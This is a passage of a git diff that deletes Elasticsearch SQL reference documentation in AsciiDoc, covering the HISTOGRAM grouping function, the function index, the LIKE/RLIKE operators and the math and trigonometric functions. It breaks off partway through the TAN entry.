-*Description*: Returns the distance between geometries in meters. Both geometries have to be points.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/geo.csv-spec[distance]
---------------------------------------------------
diff --git a/docs/reference/sql/functions/grouping.asciidoc b/docs/reference/sql/functions/grouping.asciidoc
deleted file mode 100644
index f9b2163c375..00000000000
--- a/docs/reference/sql/functions/grouping.asciidoc
+++ /dev/null
@@ -1,100 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-functions-grouping]]
-=== Grouping Functions
-
-Functions for creating special __grouping__s (also known as _bucketing_); as such these need to be used
-as part of the <<sql-syntax-group-by, grouping>>.
-
-[[sql-functions-grouping-histogram]]
-==== `HISTOGRAM`
-
-.Synopsis:
-[source, sql]
-----
-HISTOGRAM(
-    numeric_exp,        <1>
-    numeric_interval)   <2>
-
-HISTOGRAM(
-    date_exp,           <3>
-    date_time_interval) <4>
-----
-
-*Input*:
-
-<1> numeric expression (typically a field)
-<2> numeric interval
-<3> date/time expression (typically a field)
-<4> date/time <<sql-functions-datetime-interval, interval>>
-
-*Output*: non-empty buckets or groups of the given expression divided according to the given interval
-
-*Description*: The histogram function takes all matching values and divides them into buckets with fixed size matching the given interval, using (roughly) the following formula:
-
-[source, sql]
-----
-bucket_key = Math.floor(value / interval) * interval
-----
-
-[NOTE]
-The histogram in SQL does *NOT* return empty buckets for missing intervals as the traditional <<search-aggregations-bucket-histogram-aggregation, histogram>> and  <<search-aggregations-bucket-datehistogram-aggregation, date histogram>>. Such behavior does not fit conceptually in SQL which treats all missing values as `NULL`; as such the histogram places all missing values in the `NULL` group.
-
-`Histogram` can be applied on either numeric fields:
-
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[histogramNumeric]
-----
-
-or date/time fields:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[histogramDateTime]
-----
-
-Expressions inside the histogram are also supported as long as the
-return type is numeric:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[histogramNumericExpression]
-----
-
-Do note that histograms (and grouping functions in general) allow custom expressions but cannot have any functions applied to them in the `GROUP BY`. In other words, the following statement is *NOT* allowed:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[expressionOnHistogramNotAllowed]
-----
-
-as it requires two groupings (one for histogram followed by a second for applying the function on top of the histogram groups).
-
-Instead one can rewrite the query to move the expression on the histogram _inside_ of it:
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[histogramDateTimeExpression]
-----
-
-[IMPORTANT]
-When the histogram in SQL is applied on **DATE** type instead of **DATETIME**, the interval specified is truncated to
-the multiple of a day. E.g.: for `HISTOGRAM(CAST(birth_date AS DATE), INTERVAL '2 3:04' DAY TO MINUTE)` the interval
-actually used will be `INTERVAL '2' DAY`. If the interval specified is less than 1 day, e.g.:
-`HISTOGRAM(CAST(birth_date AS DATE), INTERVAL '20' HOUR)` then the interval used will be `INTERVAL '1' DAY`.
-
-[IMPORTANT]
-All intervals specified for a date/time HISTOGRAM will use a <<search-aggregations-bucket-datehistogram-aggregation,fixed interval>>
-in their `date_histogram` aggregation definition, with the notable exceptions of `INTERVAL '1' YEAR`, `INTERVAL '1' MONTH` and `INTERVAL '1' DAY`  where a calendar interval is used.
-The choice for a calendar interval was made for having a more intuitive result for YEAR, MONTH and DAY groupings. In the case of YEAR, for example, the calendar intervals consider a one year
-bucket as the one starting on January 1st that specific year, whereas a fixed interval one-year-bucket considers one year as a number
-of milliseconds (for example, `31536000000ms` corresponding to 365 days, 24 hours per day, 60 minutes per hour etc.). With fixed intervals,
-the day of February 5th, 2019 for example, belongs to a bucket that starts on December 20th, 2018 and {es} (and implicitly {es-sql}) would
-have returned the year 2018 for a date that's actually in 2019. With calendar interval this behavior is more intuitive, having the day of
-February 5th, 2019 actually belonging to the 2019 year bucket. 
-
-[IMPORTANT]
-Histogram in SQL cannot be applied applied on **TIME** type.
-E.g.: `HISTOGRAM(CAST(birth_date AS TIME), INTERVAL '10' MINUTES)` is currently not supported.
diff --git a/docs/reference/sql/functions/index.asciidoc b/docs/reference/sql/functions/index.asciidoc
deleted file mode 100644
index 4d426b5af97..00000000000
--- a/docs/reference/sql/functions/index.asciidoc
+++ /dev/null
@@ -1,174 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-functions]]
-== Functions and Operators
-
-{es-sql} provides a comprehensive set of built-in operators and functions:
-
-* <<sql-operators, Operators>>
-** <<sql-operators-equality>>
-** <<sql-operators-null-safe-equality>>
-** <<sql-operators-inequality>>
-** <<sql-operators-comparison>>
-** <<sql-operators-between>>
-** <<sql-operators-is-null>>
-** <<sql-operators-in>>
-** <<sql-operators-and>>
-** <<sql-operators-or>>
-** <<sql-operators-not>>
-** <<sql-operators-plus>>
-** <<sql-operators-subtract>>
-** <<sql-operators-negate>>
-** <<sql-operators-multiply>>
-** <<sql-operators-divide>>
-** <<sql-operators-remainder>>
-** <<sql-operators-cast-cast>>
-* <<sql-like-rlike-operators>>
-** <<sql-like-operator>>
-** <<sql-rlike-operator>>
-* <<sql-functions-aggs>>
-** <<sql-functions-aggs-avg>>
-** <<sql-functions-aggs-count>>
-** <<sql-functions-aggs-count-all>>
-** <<sql-functions-aggs-count-distinct>>
-** <<sql-functions-aggs-first>>
-** <<sql-functions-aggs-last>>
-** <<sql-functions-aggs-max>>
-** <<sql-functions-aggs-min>>
-** <<sql-functions-aggs-sum>>
-** <<sql-functions-aggs-kurtosis>>
-** <<sql-functions-aggs-mad>>
-** <<sql-functions-aggs-percentile>>
-** <<sql-functions-aggs-percentile-rank>>
-** <<sql-functions-aggs-skewness>>
-** <<sql-functions-aggs-stddev-pop>>
-** <<sql-functions-aggs-stddev-samp>>
-** <<sql-functions-aggs-sum-squares>>
-** <<sql-functions-aggs-var-pop>>
-** <<sql-functions-aggs-var-samp>>
-* <<sql-functions-grouping>>
-** <<sql-functions-grouping-histogram>>
-* <<sql-functions-datetime-interval, Date-Time Operators>>
-* <<sql-functions-current-date, Date-Time Functions>>
-** <<sql-functions-current-date>>
-** <<sql-functions-current-time>>
-** <<sql-functions-current-timestamp>>
-** <<sql-functions-datetime-add>>
-** <<sql-functions-datetime-diff>>
-** <<sql-functions-datetime-dateparse>>
-** <<sql-functions-datetime-datetimeformat>>
-** <<sql-functions-datetime-datetimeparse>>
-** <<sql-functions-datetime-format>>
-** <<sql-functions-datetime-timeparse>>
-** <<sql-functions-datetime-part>>
-** <<sql-functions-datetime-trunc>>
-** <<sql-functions-datetime-day>>
-** <<sql-functions-datetime-dow>>
-** <<sql-functions-datetime-doy>>
-** <<sql-functions-datetime-dayname>>
-** <<sql-functions-datetime-hour>>
-** <<sql-functions-datetime-isodow>>
-** <<sql-functions-datetime-isoweek>>
-** <<sql-functions-datetime-minuteofday>>
-** <<sql-functions-datetime-minute>>
-** <<sql-functions-datetime-month>>
-** <<sql-functions-datetime-monthname>>
-** <<sql-functions-now>>
-** <<sql-functions-datetime-second>>
-** <<sql-functions-datetime-quarter>>
-** <<sql-functions-today>>
-** <<sql-functions-datetime-week>>
-** <<sql-functions-datetime-year>>
-** <<sql-functions-datetime-extract>>
-* <<sql-functions-search>>
-** <<sql-functions-search-match>>
-** <<sql-functions-search-query>>
-** <<sql-functions-search-score>>
-* <<sql-functions-math>>
-** <<sql-functions-math-abs>>
-** <<sql-functions-math-cbrt>>
-** <<sql-functions-math-ceil>>
-** <<sql-functions-math-e>>
-** <<sql-functions-math-exp>>
-** <<sql-functions-math-expm1>>
-** <<sql-functions-math-floor>>
-** <<sql-functions-math-log>>
-** <<sql-functions-math-log10>>
-** <<sql-functions-math-pi>>
-** <<sql-functions-math-power>>
-** <<sql-functions-math-random>>
-** <<sql-functions-math-round>>
-** <<sql-functions-math-sign>>
-** <<sql-functions-math-sqrt>>
-** <<sql-functions-math-truncate>>
-** <<sql-functions-math-acos>>
-** <<sql-functions-math-asin>>
-** <<sql-functions-math-atan>>
-** <<sql-functions-math-atan2>>
-** <<sql-functions-math-cos>>
-** <<sql-functions-math-cosh>>
-** <<sql-functions-math-cot>>
-** <<sql-functions-math-degrees>>
-** <<sql-functions-math-radians>>
-** <<sql-functions-math-sin>>
-** <<sql-functions-math-sinh>>
-** <<sql-functions-math-tan>>
-* <<sql-functions-string>>
-** <<sql-functions-string-ascii>>
-** <<sql-functions-string-bit-length>>
-** <<sql-functions-string-char>>
-** <<sql-functions-string-char-length>>
-** <<sql-functions-string-concat>>
-** <<sql-functions-string-insert>>
-** <<sql-functions-string-lcase>>
-** <<sql-functions-string-left>>
-** <<sql-functions-string-length>>
-** <<sql-functions-string-locate>>
-** <<sql-functions-string-ltrim>>
-** <<sql-functions-string-octet-length>>
-** <<sql-functions-string-position>>
-** <<sql-functions-string-repeat>>
-** <<sql-functions-string-replace>>
-** <<sql-functions-string-right>>
-** <<sql-functions-string-rtrim>>
-** <<sql-functions-string-space>>
-** <<sql-functions-string-substring>>
-** <<sql-functions-string-trim>>
-** <<sql-functions-string-ucase>>
-* <<sql-functions-type-conversion>>
-** <<sql-functions-type-conversion-cast>>
-** <<sql-functions-type-conversion-convert>>
-* <<sql-functions-conditional>>
-** <<sql-functions-conditional-case>>
-** <<sql-functions-conditional-coalesce>>
-** <<sql-functions-conditional-greatest>>
-** <<sql-functions-conditional-ifnull>>
-** <<sql-functions-conditional-iif>>
-** <<sql-functions-conditional-isnull>>
-** <<sql-functions-conditional-least>>
-** <<sql-functions-conditional-nullif>>
-** <<sql-functions-conditional-nvl>>
-* <<sql-functions-geo>>
-** <<sql-functions-geo-st-as-wkt>>
-** <<sql-functions-geo-st-distance>>
-** <<sql-functions-geo-st-geometrytype>>
-** <<sql-functions-geo-st-wkt-to-sql>>
-** <<sql-functions-geo-st-x>>
-** <<sql-functions-geo-st-y>>
-** <<sql-functions-geo-st-z>>
-* <<sql-functions-system>>
-** <<sql-functions-system-database>>
-** <<sql-functions-system-user>>
-
-include::operators.asciidoc[]
-include::like-rlike.asciidoc[]
-include::aggs.asciidoc[]
-include::grouping.asciidoc[]
-include::date-time.asciidoc[]
-include::search.asciidoc[]
-include::math.asciidoc[]
-include::string.asciidoc[]
-include::type-conversion.asciidoc[]
-include::geo.asciidoc[]
-include::conditional.asciidoc[]
-include::system.asciidoc[]
diff --git a/docs/reference/sql/functions/like-rlike.asciidoc b/docs/reference/sql/functions/like-rlike.asciidoc
deleted file mode 100644
index 18d7edbbd7e..00000000000
--- a/docs/reference/sql/functions/like-rlike.asciidoc
+++ /dev/null
@@ -1,100 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-like-rlike-operators]]
-=== LIKE and RLIKE Operators
-
-`LIKE` and `RLIKE` operators are commonly used to filter data based on string patterns. They usually act on a field placed on the left-hand side of
-the operator, but can also act on a constant (literal) expression. The right-hand side of the operator represents the pattern.
-Both can be used in the `WHERE` clause of the `SELECT` statement, but `LIKE` can also be used in other places, such as defining an
-<<sql-index-patterns, index pattern>> or across various <<sql-commands, SHOW commands>>.
-This section covers only the `SELECT ... WHERE ...` usage.
-
-NOTE: One significant difference between `LIKE`/`RLIKE` and the <<sql-functions-search, full-text search predicates>> is that the former
-act on <<sql-multi-field, exact fields>> while the latter also work on <<text, analyzed>> fields. If the field used with `LIKE`/`RLIKE` doesn't
-have an exact not-normalized sub-field (of <<keyword, keyword>> type) {es-sql} will not be able to run the query. If the field is either exact
-or has an exact sub-field, it will use it as is, or it will automatically use the exact sub-field even if it wasn't explicitly specified in the statement.
-
-[[sql-like-operator]]
-==== `LIKE`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-expression        <1>
-LIKE constant_exp <2>
---------------------------------------------------
-
-<1> typically a field, or a constant expression
-<2> pattern
-
-*Description*: The SQL `LIKE` operator is used to compare a value to similar values using wildcard operators. There are two wildcards used in conjunction
-with the `LIKE` operator:
-
-* The percent sign (%)
-* The underscore (_)
-
-The percent sign represents zero, one or multiple characters. The underscore represents a single number or character. These symbols can be used in combinations.
-
-NOTE: No other characters have special meaning or act as wildcard. Characters often used as wildcards in other languages (`*` or `?`) are treated as normal characters.
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[simpleLike]
-----
-
-There is, also, the possibility of using an escape character if one needs to match the wildcard characters themselves. This can be done
-by using the `ESCAPE [escape_character]` statement after the `LIKE ...` operator:
-
- SELECT name, author FROM library WHERE name LIKE 'Dune/%' ESCAPE '/';
-
-In the example above `/` is defined as an escape character which needs to be placed before the `%` or `_` characters if one needs to
-match those characters in the pattern specifically. By default, there is no escape character defined.
-
-IMPORTANT: Even though `LIKE` is a valid option when searching or filtering in {es-sql}, full-text search predicates
-`MATCH` and `QUERY` are <<sql-like-prefer-full-text, faster and much more powerful and are the preferred alternative>>.
-
-[[sql-rlike-operator]]
-==== `RLIKE`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-expression         <1>
-RLIKE constant_exp <2>
---------------------------------------------------
-
-<1> typically a field, or a constant expression
-<2> pattern
-
-*Description*: This operator is similar to `LIKE`, but the user is not limited to search for a string based on a fixed pattern with the percent sign (`%`)
-and underscore (`_`); the pattern in this case is a regular expression which allows the construction of more flexible patterns.
-
-For supported syntax, see <<regexp-syntax>>.
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[simpleRLike]
-----
-
-IMPORTANT: Even though `RLIKE` is a valid option when searching or filtering in {es-sql}, full-text search predicates
-`MATCH` and `QUERY` are <<sql-like-prefer-full-text, faster and much more powerful and are the preferred alternative>>.
-
-[[sql-like-prefer-full-text]]
-==== Prefer full-text search predicates
-
-When using `LIKE`/`RLIKE`, do consider using <<sql-functions-search, full-text search predicates>> which are faster, much more powerful
-and offer the option of sorting by relevancy (results can be returned based on how well they matched).
-
-For example:
-
-[cols="<m,<m"]
-
-|===
-^s|LIKE/RLIKE                    ^s|QUERY/MATCH
-|`foo LIKE 'bar'`                    |`MATCH(foo, 'bar')`
-|`foo LIKE 'bar' AND tar LIKE 'goo'` |`MATCH('foo^2, tar^5', 'bar goo', 'operator=and')`
-|`foo LIKE 'barr'`                   |`QUERY('foo: bar~')`
-|`foo LIKE 'bar' AND tar LIKE 'goo'` |`QUERY('foo: bar AND tar: goo')`
-|`foo RLIKE 'ba.*'`                  |`MATCH(foo, 'ba', 'fuzziness=AUTO:1,5')`
-|`foo RLIKE 'b.{1}r'`                |`MATCH(foo, 'br', 'fuzziness=1')`
-|===
diff --git a/docs/reference/sql/functions/math.asciidoc b/docs/reference/sql/functions/math.asciidoc
deleted file mode 100644
index f2ebe488248..00000000000
--- a/docs/reference/sql/functions/math.asciidoc
+++ /dev/null
@@ -1,661 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-functions-math]]
-=== Mathematical Functions
-
-All math and trigonometric functions require their input (where applicable)
-to be numeric.
-
-[[sql-functions-math-generic]]
-[discrete]
-=== Generic
-
-[[sql-functions-math-abs]]
-==== `ABS`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-ABS(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: numeric
-
-*Description*: Returns the {wikipedia}/Absolute_value[absolute value] of `numeric_exp`. The return type is the same as the input type.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[abs]
---------------------------------------------------
-
-[[sql-functions-math-cbrt]]
-==== `CBRT`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-CBRT(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: double numeric value
-
-*Description*: Returns the {wikipedia}/Cube_root[cube root] of `numeric_exp`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineCbrtWithNegativeValue]
---------------------------------------------------
-
-[[sql-functions-math-ceil]]
-==== `CEIL/CEILING`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-CEIL(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: integer or long numeric value
-
-*Description*: Returns the smallest integer greater than or equal to `numeric_exp`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineCeiling]
---------------------------------------------------
-
-[[sql-functions-math-e]]
-==== `E`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-E()
---------------------------------------------------
-
-*Input*: _none_
-
-*Output*: `2.718281828459045`
-
-*Description*: Returns {wikipedia}/E_%28mathematical_constant%29[Euler's number].
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathEulersNumber]
---------------------------------------------------
-
-[[sql-functions-math-exp]]
-==== `EXP`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-EXP(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> float numeric expression
-
-*Output*: double numeric value
-
-*Description*: Returns {wikipedia}/Exponential_function[Euler's number at the power] of `numeric_exp` e^numeric_exp^.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathExpInline]
---------------------------------------------------
-
-[[sql-functions-math-expm1]]
-==== `EXPM1`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-EXPM1(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> float numeric expression
-
-*Output*: double numeric value
-
-*Description*: Returns https://docs.oracle.com/javase/8/docs/api/java/lang/Math.html#expm1-double-[Euler's number at the power] of `numeric_exp` minus 1 (e^numeric_exp^ - 1).
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathExpm1Inline]
---------------------------------------------------
-
-[[sql-functions-math-floor]]
-==== `FLOOR`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-FLOOR(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: integer or long numeric value
-
-*Description*: Returns the largest integer less than or equal to `numeric_exp`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineFloor]
---------------------------------------------------
-
-[[sql-functions-math-log]]
-==== `LOG`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-LOG(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: double numeric value
-
-*Description*: Returns the {wikipedia}/Natural_logarithm[natural logarithm] of `numeric_exp`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineLog]
---------------------------------------------------
-
-[[sql-functions-math-log10]]
-==== `LOG10`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-LOG10(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: double numeric value
-
-*Description*: Returns the {wikipedia}/Common_logarithm[base 10 logarithm] of `numeric_exp`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineLog10]
---------------------------------------------------
-
-[[sql-functions-math-pi]]
-==== `PI`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-PI()
---------------------------------------------------
-
-*Input*: _none_
-
-*Output*: `3.141592653589793`
-
-*Description*: Returns {wikipedia}/Pi[PI number].
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathPINumber]
---------------------------------------------------
-
-[[sql-functions-math-power]]
-==== `POWER`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-POWER(
-    numeric_exp, <1>
-    integer_exp) <2>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-<2> integer expression
-
-*Output*: double numeric value
-
-*Description*: Returns the value of `numeric_exp` to the power of `integer_exp`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlinePowerPositive]
---------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlinePowerNegative]
---------------------------------------------------
-
-[[sql-functions-math-random]]
-==== `RANDOM/RAND`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-RANDOM(seed) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: double numeric value
-
-*Description*: Returns a random double using the given seed.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathRandom]
---------------------------------------------------
-
-[[sql-functions-math-round]]
-==== `ROUND`
-
-.Synopsis:
-[source, sql]
-----
-ROUND(
-    numeric_exp      <1>
-    [, integer_exp]) <2>
-----
-*Input*:
-
-<1> numeric expression
-<2> integer expression; optional
-
-*Output*: numeric 
-
-*Description*: Returns `numeric_exp` rounded to `integer_exp` places right of the decimal point. If `integer_exp` is negative,
-`numeric_exp` is rounded to |`integer_exp`| places to the left of the decimal point. If `integer_exp` is omitted,
-the function will perform as if `integer_exp` would be 0. The returned numeric data type is the same as the data type 
-of `numeric_exp`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathRoundWithPositiveParameter]
---------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathRoundWithNegativeParameter]
---------------------------------------------------
-
-[[sql-functions-math-sign]]
-==== `SIGN/SIGNUM`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-SIGN(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: [-1, 0, 1]
-
-*Description*: Returns an indicator of the sign of `numeric_exp`. If `numeric_exp` is less than zero, –1 is returned. If `numeric_exp` equals zero, 0 is returned. If `numeric_exp` is greater than zero, 1 is returned.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineSign]
---------------------------------------------------
-
-
-[[sql-functions-math-sqrt]]
-==== `SQRT`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-SQRT(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: double numeric value
-
-*Description*: Returns {wikipedia}/Square_root[square root] of `numeric_exp`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineSqrt]
---------------------------------------------------
-
-[[sql-functions-math-truncate]]
-==== `TRUNCATE/TRUNC`
-
-.Synopsis:
-[source, sql]
-----
-TRUNCATE(
-    numeric_exp      <1>
-    [, integer_exp]) <2>
-----
-*Input*:
-
-<1> numeric expression
-<2> integer expression; optional
-
-*Output*: numeric 
-
-*Description*: Returns `numeric_exp` truncated to `integer_exp` places right of the decimal point. If `integer_exp` is negative,
-`numeric_exp` is truncated to |`integer_exp`| places to the left of the decimal point.  If `integer_exp` is omitted,
-the function will perform as if `integer_exp` would be 0. The returned numeric data type is the same as the data type 
-of `numeric_exp`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathTruncateWithPositiveParameter]
---------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathTruncateWithNegativeParameter]
---------------------------------------------------
-
-[[sql-functions-math-trigonometric]]
-[discrete]
-=== Trigonometric
-
-[[sql-functions-math-acos]]
-==== `ACOS`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-ACOS(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: double numeric value
-
-*Description*: Returns the {wikipedia}/Inverse_trigonometric_functions[arccosine] of `numeric_exp` as an angle, expressed in radians.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineAcos]
---------------------------------------------------
-
-[[sql-functions-math-asin]]
-==== `ASIN`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-ASIN(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: double numeric value
-
-*Description*: Returns the {wikipedia}/Inverse_trigonometric_functions[arcsine] of `numeric_exp` as an angle, expressed in radians.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineAsin]
---------------------------------------------------
-
-[[sql-functions-math-atan]]
-==== `ATAN`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-ATAN(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: double numeric value
-
-*Description*: Returns the {wikipedia}/Inverse_trigonometric_functions[arctangent] of `numeric_exp` as an angle, expressed in radians.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineAtan]
---------------------------------------------------
-
-[[sql-functions-math-atan2]]
-==== `ATAN2`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-ATAN2(
-    ordinate, <1>
-    abscisa)  <2>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-<2> numeric expression
-
-*Output*: double numeric value
-
-*Description*: Returns the {wikipedia}/Atan2[arctangent of the `ordinate` and `abscisa` coordinates] specified as an angle, expressed in radians.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineAtan2]
---------------------------------------------------
-
-[[sql-functions-math-cos]]
-==== `COS`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-COS(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: double numeric value
-
-*Description*: Returns the {wikipedia}/Trigonometric_functions#cosine[cosine] of `numeric_exp`, where `numeric_exp` is an angle expressed in radians.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineCosine]
---------------------------------------------------
-
-[[sql-functions-math-cosh]]
-==== `COSH`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-COSH(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: double numeric value
-
-*Description*: Returns the {wikipedia}/Hyperbolic_function[hyperbolic cosine] of `numeric_exp`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineCosh]
---------------------------------------------------
-
-[[sql-functions-math-cot]]
-==== `COT`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-COT(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: double numeric value
-
-*Description*: Returns the {wikipedia}/Trigonometric_functions#Cosecant,_secant,_and_cotangent[cotangent] of `numeric_exp`, where `numeric_exp` is an angle expressed in radians.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineCotangent]
---------------------------------------------------
-
-[[sql-functions-math-degrees]]
-==== `DEGREES`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-DEGREES(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: double numeric value
-
-*Description*: Convert from {wikipedia}/Radian[radians]
-to {wikipedia}/Degree_(angle)[degrees].
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineDegrees]
---------------------------------------------------
-
-[[sql-functions-math-radians]]
-==== `RADIANS`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-RADIANS(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: double numeric value
-
-*Description*: Convert from {wikipedia}/Degree_(angle)[degrees]
-to {wikipedia}/Radian[radians].
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineRadians]
---------------------------------------------------
-
-[[sql-functions-math-sin]]
-==== `SIN`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-SIN(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: double numeric value
-
-*Description*: Returns the {wikipedia}/Trigonometric_functions#sine[sine] of `numeric_exp`, where `numeric_exp` is an angle expressed in radians.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineSine]
---------------------------------------------------
-
-[[sql-functions-math-sinh]]
-==== `SINH`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-SINH(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: double numeric value
-
-*Description*: Returns the {wikipedia}/Hyperbolic_function[hyperbolic sine] of `numeric_exp`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[mathInlineSinh]
---------------------------------------------------
-
-[[sql-functions-math-tan]]
-==== `TAN`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-TAN(numeric_exp) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> numeric expression
-
-*Output*: double numeric value
-
